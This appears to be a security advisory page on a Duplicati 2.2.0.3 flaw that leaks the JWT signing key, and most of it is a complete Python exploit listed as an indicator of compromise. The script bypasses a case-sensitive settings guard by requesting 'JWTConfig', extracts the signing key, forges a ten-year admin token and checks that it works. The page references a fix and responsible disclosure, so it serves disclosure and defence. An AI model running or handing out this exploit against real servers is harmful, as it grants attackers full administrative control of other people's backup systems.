Duplicati version 2.2.0.3 and earlier contain a vulnerability that leaks the JWT signing key. This issue affects both the Docker deployment of Duplicati 2.2.0.3 and the master branch. Exploit code is publicly available in Python, but no known active exploitation in the wild has been reported.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Duplicati 2.2.0.3 - JWT Signing Key Leak Bypass leading to Token Forgery # Date: 2026-06-23 # Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI # Vendor Homepage: https://www.duplicati.com # Software Link: https://github.com/duplicati/duplicati # Version: <= 2.2.0.3 (commit 6ad921166 and earlier) # Tested on: Duplicati 2.2.0.3 (Docker) + Duplicati master branch # CVE: Pending (researcher assigned) # References: # - https://github.com/duplicati/duplicati/pull/6787 (fix) # - Responsible disclosure to maintainer Description: Duplicati exposes the JWT signing key through a case-sensitive guard bypass in the settings endpoint. A GET request to /api/v1/serversetting/JWTConfig (PascalCase) bypasses the guard check for "jwt-config", allowing any authenticated user to retrieve the secret. With the extracted SigningKey, Authority and Audience, an attacker can forge a long-lived admin token that grants full administrative access to the application. import json, sys, time, requests, jwt PROXIES = None if "--proxy" in sys.argv: proxy = sys.argv[sys.argv.index("--proxy") + 1] PROXIES = {"http": proxy, "https": proxy} requests.packages.urllib3.disable_warnings() def login(url, password): r = requests.post(f"{url}/api/v1/auth/login", json={"Password": password, "RememberMe": False}, proxies=PROXIES, verify=not PROXIES) r.raise_for_status() return r.json()["AccessToken"] def get_setting(url, token, key): r = requests.get(f"{url}/api/v1/serversetting/{key}", headers={"Authorization": f"Bearer {token}"}, proxies=PROXIES, verify=not PROXIES) return r.status_code, r.text def forge_token(jwt_config): now = int(time.time()) return jwt.encode({ "typ": "AccessToken", "sid": "web-api", "fam": "temporary", "nbf": now, "exp": now + 10 * 365 * 86400, "iss": jwt_config["Authority"], "aud": jwt_config["Audience"], }, jwt_config["SigningKey"], algorithm="HS256") def main(): url, password = sys.argv[1], sys.argv[2] token = login(url, password) status, _ = get_setting(url, token, "jwt-config") print(f"GET /serversetting/jwt-config -> {status} (blocked by guard)") status, body = get_setting(url, token, "JWTConfig") print(f"GET /serversetting/JWTConfig -> {status} (guard bypassed)") jwt_config = json.loads(body) if isinstance(jwt_config, str): jwt_config = json.loads(jwt_config) print(f" SigningKey: {jwt_config['SigningKey']}") print(f" Authority: {jwt_config['Authority']}") print(f" Audience: {jwt_config['Audience']}") forged = forge_token(jwt_config) print(f"\nForged token: {forged}") status, _ = get_setting(url, forged, "AllowedHostnames") print(f"Verify forged token -> {status}") if status == 200: print("RESULT: Forged token accepted, full admin access achieved") if __name__ == "__main__": main()